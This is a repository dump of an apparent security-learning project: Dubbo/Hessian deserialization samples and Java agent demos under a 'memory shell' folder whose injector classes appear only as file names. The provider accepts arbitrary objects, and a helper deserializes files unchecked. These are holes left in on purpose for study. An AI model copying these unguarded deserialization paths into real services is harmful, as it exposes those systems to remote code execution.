spring.application.name=dubbo-auto-configuration-provider-demo 3 | # Base packages to scan Dubbo Component: @org.apache.dubbo.config.annotation.Service 4 | dubbo.scan.base-packages=org.apache.dubbo.spring.boot.demo.provider.service 5 | # Dubbo Application 6 | ## The default value of dubbo.application.name is ${spring.application.name} 7 | ## dubbo.application.name=${spring.application.name} 8 | # Dubbo Protocol 9 | dubbo.protocol.name=dubbo 10 | dubbo.protocol.port=12345 11 | ## Dubbo Registry 12 | dubbo.registry.address=N/A -------------------------------------------------------------------------------- /Hessian_Learning/dubbo-spring-boot-project-2.7.6/dubbo-spring-boot-samples/dubbo-registry-nacos-samples/consumer-sample/src/main/resources/application.yml: -------------------------------------------------------------------------------- 1 | spring: 2 | application: 3 | name: dubbo-registry-nacos-consumer-sample 4 | 5 | demo: 6 | service: 7 | version: 1.0.0 8 | 9 | nacos: 10 | host: 127.0.0.1 11 | port: 8848 12 | username: nacos 13 | password: nacos 14 | 15 | dubbo: 16 | registry: 17 | address: nacos://${nacos.host}:${nacos.port}/?username=${nacos.username}&password=${nacos.password} -------------------------------------------------------------------------------- /Hessian_Learning/dubbo-spring-boot-project-2.7.6/dubbo-spring-boot-samples/dubbo-registry-zookeeper-samples/consumer-sample/src/main/resources/application.yml: -------------------------------------------------------------------------------- 1 | spring: 2 | application: 3 | name: dubbo-registry-zookeeper-consumer-sample 4 | 5 | demo: 6 | service: 7 | version: 1.0.0 8 | 9 | embedded: 10 | zookeeper: 11 | port: 2181 12 | 13 | dubbo: 14 | registry: 15 | address: zookeeper://127.0.0.1:${embedded.zookeeper.port} 16 | file: ${user.home}/dubbo-cache/${spring.application.name}/dubbo.cache -------------------------------------------------------------------------------- /Hessian_Learning/dubbo_Learning/.gitignore: -------------------------------------------------------------------------------- 1 | HELP.md 2 | target/ 3 | !.mvn/wrapper/maven-wrapper.jar 4 | !**/src/main/**/target/ 5 | !**/src/test/**/target/ 6 | 7 | ### STS ### 8 | .apt_generated 9 | .classpath 10 | .factorypath 11 | .project 12 | .settings 13 | .springBeans 14 | .sts4-cache 15 | 16 | ### IntelliJ IDEA ### 17 | .idea 18 | *.iws 19 | *.iml 20 | *.ipr 21 | 22 | ### NetBeans ### 23 | /nbproject/private/ 24 | /nbbuild/ 25 | /dist/ 26 | /nbdist/ 27 | /.nb-gradle/ 28 | build/ 29 | !**/src/main/**/build/ 30 | !**/src/test/**/build/ 31 | 32 | ### VS Code ### 33 | .vscode/ 34 | -------------------------------------------------------------------------------- /Hessian_Learning/dubbo_Learning/.mvn/wrapper/maven-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Hessian_Learning/dubbo_Learning/.mvn/wrapper/maven-wrapper.jar -------------------------------------------------------------------------------- /Hessian_Learning/dubbo_Learning/.mvn/wrapper/maven-wrapper.properties: -------------------------------------------------------------------------------- 1 | distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.8.4/apache-maven-3.8.4-bin.zip 2 | wrapperUrl=https://repo.maven.apache.org/maven2/org/apache/maven/wrapper/maven-wrapper/3.1.0/maven-wrapper-3.1.0.jar 3 | -------------------------------------------------------------------------------- /Hessian_Learning/dubbo_Learning/Hessian/src/main/java/Class/People.java: -------------------------------------------------------------------------------- 1 | package Class; 2 | 3 | public class People { 4 | int id; 5 | String name; 6 | 7 | public int getId() { 8 | System.out.println("Student getId call"); 9 | return id; 10 | } 11 | 12 | public void setId(int id) { 13 | System.out.println("Student setId call"); 14 | this.id = id; 15 | } 16 | 17 | public String getName() { 18 | System.out.println("Student getName call"); 19 | return name; 20 | } 21 | 22 | public void setName(String name) { 23 | System.out.println("Student setName call"); 24 | this.name = name; 25 | } 26 | } -------------------------------------------------------------------------------- /Hessian_Learning/dubbo_Learning/Hessian/src/main/java/Class/Test.java: -------------------------------------------------------------------------------- 1 | package Class; 2 | 3 | import java.io.Serializable; 4 | 5 | public class Test implements Serializable { 6 | } 7 | -------------------------------------------------------------------------------- /Hessian_Learning/dubbo_Learning/Hessian/src/main/java/Tools/Serial.java: -------------------------------------------------------------------------------- 1 | package Tools; 2 | 3 | import java.io.*; 4 | 5 | public class Serial { 6 | public static void Serialize(Object o) throws IOException { 7 | ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); 8 | oos.writeObject(o); 9 | } 10 | 11 | public static Object DeSerialize(String s) throws IOException, ClassNotFoundException { 12 | ObjectInputStream ois = new ObjectInputStream(new FileInputStream(s)); 13 | return ois.readObject(); 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /Hessian_Learning/dubbo_Learning/dubbo-api/src/main/java/com/api/IHello.java: -------------------------------------------------------------------------------- 1 | package com.api; 2 | 3 | public interface IHello { 4 | String IHello(String name); 5 | Object IObject(Object o); 6 | } 7 | -------------------------------------------------------------------------------- /Hessian_Learning/dubbo_Learning/dubbo-consumer/.gitignore: -------------------------------------------------------------------------------- 1 | HELP.md 2 | target/ 3 | !.mvn/wrapper/maven-wrapper.jar 4 | !**/src/main/**/target/ 5 | !**/src/test/**/target/ 6 | 7 | ### STS ### 8 | .apt_generated 9 | .classpath 10 | .factorypath 11 | .project 12 | .settings 13 | .springBeans 14 | .sts4-cache 15 | 16 | ### IntelliJ IDEA ### 17 | .idea 18 | *.iws 19 | *.iml 20 | *.ipr 21 | 22 | ### NetBeans ### 23 | /nbproject/private/ 24 | /nbbuild/ 25 | /dist/ 26 | /nbdist/ 27 | /.nb-gradle/ 28 | build/ 29 | !**/src/main/**/build/ 30 | !**/src/test/**/build/ 31 | 32 | ### VS Code ### 33 | .vscode/ 34 | -------------------------------------------------------------------------------- /Hessian_Learning/dubbo_Learning/dubbo-consumer/.mvn/wrapper/maven-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Hessian_Learning/dubbo_Learning/dubbo-consumer/.mvn/wrapper/maven-wrapper.jar -------------------------------------------------------------------------------- /Hessian_Learning/dubbo_Learning/dubbo-consumer/.mvn/wrapper/maven-wrapper.properties: -------------------------------------------------------------------------------- 1 | distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.8.4/apache-maven-3.8.4-bin.zip 2 | wrapperUrl=https://repo.maven.apache.org/maven2/org/apache/maven/wrapper/maven-wrapper/3.1.0/maven-wrapper-3.1.0.jar 3 | -------------------------------------------------------------------------------- /Hessian_Learning/dubbo_Learning/dubbo-consumer/src/main/java/com/example/dubboconsumer/DubboConsumerApplication.java: -------------------------------------------------------------------------------- 1 | package com.example.dubboconsumer; 2 | 3 | import org.apache.dubbo.config.spring.context.annotation.EnableDubboConfig; 4 | import org.springframework.boot.SpringApplication; 5 | import org.springframework.boot.autoconfigure.SpringBootApplication; 6 | 7 | @SpringBootApplication 8 | @EnableDubboConfig 9 | public class DubboConsumerApplication { 10 | 11 | public static void main(String[] args) { 12 | SpringApplication.run(DubboConsumerApplication.class, args); 13 | } 14 | 15 | } 16 | -------------------------------------------------------------------------------- /Hessian_Learning/dubbo_Learning/dubbo-consumer/src/main/resources/application.properties: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Hessian_Learning/dubbo_Learning/dubbo-consumer/src/main/resources/application.properties -------------------------------------------------------------------------------- /Hessian_Learning/dubbo_Learning/dubbo-consumer/src/main/resources/application.yml: -------------------------------------------------------------------------------- 1 | server: 2 | port: 9991 3 | 4 | spring: 5 | application: 6 | name: dubbo-consumer 7 | 8 | dubbo: 9 | application: 10 | name: dubbo-consumer 11 | registry: 12 | address: zookeeper://127.0.0.1:2181 -------------------------------------------------------------------------------- /Hessian_Learning/dubbo_Learning/dubbo-consumer/src/test/java/com/example/dubboconsumer/DubboConsumerApplicationTests.java: -------------------------------------------------------------------------------- 1 | package com.example.dubboconsumer; 2 | 3 | import org.junit.jupiter.api.Test; 4 | import org.springframework.boot.test.context.SpringBootTest; 5 | 6 | @SpringBootTest 7 | class DubboConsumerApplicationTests { 8 | 9 | @Test 10 | void contextLoads() { 11 | } 12 | 13 | } 14 | -------------------------------------------------------------------------------- /Hessian_Learning/dubbo_Learning/dubbo-provider/.gitignore: -------------------------------------------------------------------------------- 1 | HELP.md 2 | target/ 3 | !.mvn/wrapper/maven-wrapper.jar 4 | !**/src/main/**/target/ 5 | !**/src/test/**/target/ 6 | 7 | ### STS ### 8 | .apt_generated 9 | .classpath 10 | .factorypath 11 | .project 12 | .settings 13 | .springBeans 14 | .sts4-cache 15 | 16 | ### IntelliJ IDEA ### 17 | .idea 18 | *.iws 19 | *.iml 20 | *.ipr 21 | 22 | ### NetBeans ### 23 | /nbproject/private/ 24 | /nbbuild/ 25 | /dist/ 26 | /nbdist/ 27 | /.nb-gradle/ 28 | build/ 29 | !**/src/main/**/build/ 30 | !**/src/test/**/build/ 31 | 32 | ### VS Code ### 33 | .vscode/ 34 | -------------------------------------------------------------------------------- /Hessian_Learning/dubbo_Learning/dubbo-provider/.mvn/wrapper/maven-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Hessian_Learning/dubbo_Learning/dubbo-provider/.mvn/wrapper/maven-wrapper.jar -------------------------------------------------------------------------------- /Hessian_Learning/dubbo_Learning/dubbo-provider/.mvn/wrapper/maven-wrapper.properties: -------------------------------------------------------------------------------- 1 | distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.8.4/apache-maven-3.8.4-bin.zip 2 | wrapperUrl=https://repo.maven.apache.org/maven2/org/apache/maven/wrapper/maven-wrapper/3.1.0/maven-wrapper-3.1.0.jar 3 | -------------------------------------------------------------------------------- /Hessian_Learning/dubbo_Learning/dubbo-provider/src/main/java/com/example/dubboprovider/DubboProviderApplication.java: -------------------------------------------------------------------------------- 1 | package com.example.dubboprovider; 2 | 3 | import org.apache.dubbo.config.spring.context.annotation.EnableDubboConfig; 4 | import org.springframework.boot.SpringApplication; 5 | import org.springframework.boot.autoconfigure.SpringBootApplication; 6 | 7 | @SpringBootApplication 8 | @EnableDubboConfig 9 | public class DubboProviderApplication { 10 | 11 | public static void main(String[] args) { 12 | SpringApplication.run(DubboProviderApplication.class, args); 13 | } 14 | 15 | } 16 | -------------------------------------------------------------------------------- /Hessian_Learning/dubbo_Learning/dubbo-provider/src/main/java/com/example/dubboprovider/service/HelloService.java: -------------------------------------------------------------------------------- 1 | package com.example.dubboprovider.service; 2 | 3 | import com.api.IHello; 4 | import org.apache.dubbo.config.annotation.Service; 5 | 6 | @Service 7 | public class HelloService implements IHello { 8 | 9 | @Override 10 | public String IHello(String name) { 11 | return "Hello "+name; 12 | } 13 | 14 | @Override 15 | public Object IObject(Object o) { 16 | return o; 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /Hessian_Learning/dubbo_Learning/dubbo-provider/src/main/resources/application.properties: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Hessian_Learning/dubbo_Learning/dubbo-provider/src/main/resources/application.properties -------------------------------------------------------------------------------- /Hessian_Learning/dubbo_Learning/dubbo-provider/src/main/resources/application.yml: -------------------------------------------------------------------------------- 1 | server: 2 | port: 9990 3 | 4 | spring: 5 | application: 6 | name: dubbo-provider 7 | 8 | dubbo: 9 | application: 10 | name: dubbo-provider 11 | scan: 12 | base-packages: com.example.dubboprovider.service 13 | registry: 14 | address: zookeeper://127.0.0.1:2181 15 | protocol: 16 | name: dubbo 17 | port: 20000 -------------------------------------------------------------------------------- /Hessian_Learning/dubbo_Learning/dubbo-provider/src/test/java/com/example/dubboprovider/DubboProviderApplicationTests.java: -------------------------------------------------------------------------------- 1 | package com.example.dubboprovider; 2 | 3 | import org.junit.jupiter.api.Test; 4 | import org.springframework.boot.test.context.SpringBootTest; 5 | 6 | @SpringBootTest 7 | class DubboProviderApplicationTests { 8 | 9 | @Test 10 | void contextLoads() { 11 | } 12 | 13 | } 14 | -------------------------------------------------------------------------------- /Hessian_Learning/dubbo_Learning/ser.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Hessian_Learning/dubbo_Learning/ser.bin -------------------------------------------------------------------------------- /Hessian_Learning/dubbo_Learning/shell.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Hessian_Learning/dubbo_Learning/shell.class -------------------------------------------------------------------------------- /Hessian_Learning/dubbo_Learning/src/main/java/com/example/dubbo_learning/DubboLearningApplication.java: -------------------------------------------------------------------------------- 1 | package com.example.dubbo_learning; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import org.springframework.boot.autoconfigure.SpringBootApplication; 5 | 6 | @SpringBootApplication 7 | public class DubboLearningApplication { 8 | 9 | public static void main(String[] args) { 10 | SpringApplication.run(DubboLearningApplication.class, args); 11 | } 12 | 13 | } 14 | -------------------------------------------------------------------------------- /Hessian_Learning/dubbo_Learning/src/main/resources/application.properties: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /Hessian_Learning/dubbo_Learning/src/main/resources/application.yml: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Hessian_Learning/dubbo_Learning/src/main/resources/application.yml -------------------------------------------------------------------------------- /Hessian_Learning/dubbo_Learning/src/test/java/com/example/dubbo_learning/DubboLearningApplicationTests.java: -------------------------------------------------------------------------------- 1 | package com.example.dubbo_learning; 2 | 3 | import org.junit.jupiter.api.Test; 4 | import org.springframework.boot.test.context.SpringBootTest; 5 | 6 | @SpringBootTest 7 | class DubboLearningApplicationTests { 8 | 9 | @Test 10 | void contextLoads() { 11 | } 12 | 13 | } 14 | -------------------------------------------------------------------------------- /Java_memShell/.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | # Editor-based HTTP Client requests 5 | /httpRequests/ 6 | # Datasource local storage ignored files 7 | /dataSources/ 8 | /dataSources.local.xml 9 | -------------------------------------------------------------------------------- /Java_memShell/.idea/artifacts/Java_Agent_jar.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | $PROJECT_DIR$/out/artifacts/Java_Agent_jar 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /Java_memShell/.idea/artifacts/Java_Hello_jar.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | $PROJECT_DIR$/out/artifacts/Java_Hello_jar 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /Java_memShell/.idea/artifacts/SpringMVC_Web_war_exploded.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | $PROJECT_DIR$/out/artifacts/SpringMVC_Web_war_exploded 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Java_memShell/.idea/artifacts/Spring_MVC_Web_war_exploded.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | $PROJECT_DIR$/out/artifacts/Spring_MVC_Web_war_exploded 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Java_memShell/.idea/codeStyles/Project.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | 7 | -------------------------------------------------------------------------------- /Java_memShell/.idea/codeStyles/codeStyleConfig.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | -------------------------------------------------------------------------------- /Java_memShell/.idea/libraries/Spring_MVC_4_3_18_RELEASE.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /Java_memShell/.idea/libraries/java.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /Java_memShell/.idea/libraries/javassist_3_20_0_GA.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /Java_memShell/.idea/libraries/tools.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /Java_memShell/.idea/runConfigurations.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 9 | 10 | -------------------------------------------------------------------------------- /Java_memShell/Java_Agent/src/main/java/com/java/agentmain/agent/Java_Agent_agentmain.java: -------------------------------------------------------------------------------- 1 | package com.java.agentmain.agent; 2 | 3 | import java.lang.instrument.Instrumentation; 4 | 5 | import static java.lang.Thread.sleep; 6 | 7 | public class Java_Agent_agentmain { 8 | public static void agentmain(String args, Instrumentation inst) throws InterruptedException { 9 | while (true){ 10 | System.out.println("调用了agentmain-Agent!"); 11 | sleep(3000); 12 | } 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /Java_memShell/Java_Agent/src/main/java/com/java/agentmain/instrumentation/Java_Agent_agentmain_Instrumentation.java: -------------------------------------------------------------------------------- 1 | package com.java.agentmain.instrumentation; 2 | 3 | import java.lang.instrument.Instrumentation; 4 | 5 | public class Java_Agent_agentmain_Instrumentation { 6 | public static void agentmain(String args, Instrumentation inst) throws InterruptedException { 7 | Class [] classes = inst.getAllLoadedClasses(); 8 | 9 | for(Class cls : classes){ 10 | System.out.println("------------------------------------------"); 11 | System.out.println("class: "+cls.getName()); 12 | System.out.println("modify: "+inst.isModifiableClass(cls)); 13 | } 14 | } 15 | } 16 | 17 | -------------------------------------------------------------------------------- /Java_memShell/Java_Agent/src/main/java/com/java/premain/agent/Java_Agent_premain.java: -------------------------------------------------------------------------------- 1 | package com.java.premain.agent; 2 | 3 | import java.lang.instrument.Instrumentation; 4 | 5 | public class Java_Agent_premain { 6 | public static void premain(String args, Instrumentation inst) { 7 | for (int i =0 ; i<10 ; i++){ 8 | System.out.println("premain-Agent!"); 9 | } 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /Java_memShell/Java_Agent/src/main/resources/META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Can-Retransform-Classes: true 3 | Agent-Class: com.java.agentmain.instrumentation.transformer.Java_Agent_agentmain_transform_Filter 4 | 5 | -------------------------------------------------------------------------------- /Java_memShell/Java_Agent/target/classes/META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Can-Retransform-Classes: true 3 | Agent-Class: com.java.agentmain.instrumentation.transformer.Java_Agent_agentmain_transform_Filter 4 | 5 | -------------------------------------------------------------------------------- /Java_memShell/Java_Agent/target/classes/com/java/agentmain/agent/Java_Agent_agentmain.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_Agent/target/classes/com/java/agentmain/agent/Java_Agent_agentmain.class -------------------------------------------------------------------------------- /Java_memShell/Java_Agent/target/classes/com/java/agentmain/instrumentation/Java_Agent_agentmain_Instrumentation.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_Agent/target/classes/com/java/agentmain/instrumentation/Java_Agent_agentmain_Instrumentation.class -------------------------------------------------------------------------------- /Java_memShell/Java_Agent/target/classes/com/java/agentmain/instrumentation/transformer/Filter_Transform.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_Agent/target/classes/com/java/agentmain/instrumentation/transformer/Filter_Transform.class -------------------------------------------------------------------------------- /Java_memShell/Java_Agent/target/classes/com/java/agentmain/instrumentation/transformer/Hello_Transform.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_Agent/target/classes/com/java/agentmain/instrumentation/transformer/Hello_Transform.class -------------------------------------------------------------------------------- /Java_memShell/Java_Agent/target/classes/com/java/agentmain/instrumentation/transformer/Java_Agent_agentmain_transform.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_Agent/target/classes/com/java/agentmain/instrumentation/transformer/Java_Agent_agentmain_transform.class -------------------------------------------------------------------------------- /Java_memShell/Java_Agent/target/classes/com/java/agentmain/instrumentation/transformer/Java_Agent_agentmain_transform_Filter.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_Agent/target/classes/com/java/agentmain/instrumentation/transformer/Java_Agent_agentmain_transform_Filter.class -------------------------------------------------------------------------------- /Java_memShell/Java_Agent/target/classes/com/java/inject/Inject_Agent.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_Agent/target/classes/com/java/inject/Inject_Agent.class -------------------------------------------------------------------------------- /Java_memShell/Java_Agent/target/classes/com/java/inject/Inject_Agent_Spring.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_Agent/target/classes/com/java/inject/Inject_Agent_Spring.class -------------------------------------------------------------------------------- /Java_memShell/Java_Agent/target/classes/com/java/premain/agent/Java_Agent_premain.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_Agent/target/classes/com/java/premain/agent/Java_Agent_premain.class -------------------------------------------------------------------------------- /Java_memShell/Java_Agent_SpringBoot/.gitignore: -------------------------------------------------------------------------------- 1 | HELP.md 2 | target/ 3 | !.mvn/wrapper/maven-wrapper.jar 4 | !**/src/main/**/target/ 5 | !**/src/test/**/target/ 6 | 7 | ### STS ### 8 | .apt_generated 9 | .classpath 10 | .factorypath 11 | .project 12 | .settings 13 | .springBeans 14 | .sts4-cache 15 | 16 | ### IntelliJ IDEA ### 17 | .idea 18 | *.iws 19 | *.iml 20 | *.ipr 21 | 22 | ### NetBeans ### 23 | /nbproject/private/ 24 | /nbbuild/ 25 | /dist/ 26 | /nbdist/ 27 | /.nb-gradle/ 28 | build/ 29 | !**/src/main/**/build/ 30 | !**/src/test/**/build/ 31 | 32 | ### VS Code ### 33 | .vscode/ 34 | -------------------------------------------------------------------------------- /Java_memShell/Java_Agent_SpringBoot/.mvn/wrapper/maven-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_Agent_SpringBoot/.mvn/wrapper/maven-wrapper.jar -------------------------------------------------------------------------------- /Java_memShell/Java_Agent_SpringBoot/.mvn/wrapper/maven-wrapper.properties: -------------------------------------------------------------------------------- 1 | distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.8.4/apache-maven-3.8.4-bin.zip 2 | wrapperUrl=https://repo.maven.apache.org/maven2/org/apache/maven/wrapper/maven-wrapper/3.1.0/maven-wrapper-3.1.0.jar 3 | -------------------------------------------------------------------------------- /Java_memShell/Java_Agent_SpringBoot/src/main/java/com/example/java_agent_springboot/Hello_Controller.java: -------------------------------------------------------------------------------- 1 | package com.example.java_agent_springboot; 2 | 3 | import org.springframework.stereotype.Controller; 4 | import org.springframework.web.bind.annotation.RequestMapping; 5 | import org.springframework.web.bind.annotation.ResponseBody; 6 | 7 | @Controller 8 | public class Hello_Controller { 9 | 10 | @ResponseBody 11 | @RequestMapping("/hello") 12 | public String Hello(){ 13 | return "Hello World!"; 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /Java_memShell/Java_Agent_SpringBoot/src/main/java/com/example/java_agent_springboot/JavaAgentSpringBootApplication.java: -------------------------------------------------------------------------------- 1 | package com.example.java_agent_springboot; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import org.springframework.boot.autoconfigure.SpringBootApplication; 5 | 6 | @SpringBootApplication 7 | public class JavaAgentSpringBootApplication { 8 | 9 | public static void main(String[] args) { 10 | SpringApplication.run(JavaAgentSpringBootApplication.class, args); 11 | } 12 | 13 | } 14 | -------------------------------------------------------------------------------- /Java_memShell/Java_Agent_SpringBoot/src/main/resources/application.properties: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /Java_memShell/Java_Agent_SpringBoot/src/test/java/com/example/java_agent_springboot/JavaAgentSpringBootApplicationTests.java: -------------------------------------------------------------------------------- 1 | package com.example.java_agent_springboot; 2 | 3 | import org.junit.jupiter.api.Test; 4 | import org.springframework.boot.test.context.SpringBootTest; 5 | 6 | @SpringBootTest 7 | class JavaAgentSpringBootApplicationTests { 8 | 9 | @Test 10 | void contextLoads() { 11 | } 12 | 13 | } 14 | -------------------------------------------------------------------------------- /Java_memShell/Java_Hello/src/main/java/Hello.java: -------------------------------------------------------------------------------- 1 | public class Hello { 2 | public static void main(String[] args) { 3 | System.out.println("Hello World!"); 4 | System.out.println("a"); 5 | } 6 | } 7 | -------------------------------------------------------------------------------- /Java_memShell/Java_Hello/src/main/java/Sleep_Hello.java: -------------------------------------------------------------------------------- 1 | import static java.lang.Thread.sleep; 2 | 3 | public class Sleep_Hello { 4 | public static void main(String[] args) throws InterruptedException { 5 | while (true){ 6 | System.out.println("Hello World!"); 7 | sleep(5000); 8 | } 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /Java_memShell/Java_Hello/src/main/java/com/sleep/hello/Sleep_Hello.java: -------------------------------------------------------------------------------- 1 | package com.sleep.hello; 2 | 3 | import static java.lang.Thread.sleep; 4 | 5 | public class Sleep_Hello { 6 | public static void main(String[] args) throws InterruptedException { 7 | while (true){ 8 | hello(); 9 | sleep(3000); 10 | } 11 | } 12 | 13 | public static void hello(){ 14 | System.out.println("Hello World!"); 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /Java_memShell/Java_Hello/src/main/java/get_PID.java: -------------------------------------------------------------------------------- 1 | import com.sun.tools.attach.VirtualMachine; 2 | import com.sun.tools.attach.VirtualMachineDescriptor; 3 | 4 | import java.util.List; 5 | 6 | public class get_PID { 7 | public static void main(String[] args) { 8 | 9 | //调用VirtualMachine.list()获取正在运行的JVM列表 10 | List list = VirtualMachine.list(); 11 | for(VirtualMachineDescriptor vmd : list){ 12 | 13 | //遍历每一个正在运行的JVM,如果JVM名称为get_PID则返回其PID 14 | 15 | System.out.println(vmd.displayName()); 16 | } 17 | 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /Java_memShell/Java_Hello/src/main/resources/META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Main-Class: Hello 3 | 4 | -------------------------------------------------------------------------------- /Java_memShell/Java_Hello/target/Java_Hello-1.0-SNAPSHOT.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_Hello/target/Java_Hello-1.0-SNAPSHOT.jar -------------------------------------------------------------------------------- /Java_memShell/Java_Hello/target/classes/Hello.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_Hello/target/classes/Hello.class -------------------------------------------------------------------------------- /Java_memShell/Java_Hello/target/classes/META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Main-Class: Hello 3 | 4 | -------------------------------------------------------------------------------- /Java_memShell/Java_Hello/target/classes/Sleep_Hello.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_Hello/target/classes/Sleep_Hello.class -------------------------------------------------------------------------------- /Java_memShell/Java_Hello/target/classes/com/sleep/hello/Sleep_Hello.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_Hello/target/classes/com/sleep/hello/Sleep_Hello.class -------------------------------------------------------------------------------- /Java_memShell/Java_Hello/target/classes/get_PID.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Java_Hello/target/classes/get_PID.class -------------------------------------------------------------------------------- /Java_memShell/Java_Hello/target/maven-archiver/pom.properties: -------------------------------------------------------------------------------- 1 | #Generated by Maven 2 | #Mon May 09 15:13:27 CST 2022 3 | version=1.0-SNAPSHOT 4 | groupId=org.example 5 | artifactId=Java_Hello 6 | -------------------------------------------------------------------------------- /Java_memShell/Java_Hello/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst: -------------------------------------------------------------------------------- 1 | Hello.class 2 | -------------------------------------------------------------------------------- /Java_memShell/Java_Hello/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst: -------------------------------------------------------------------------------- 1 | 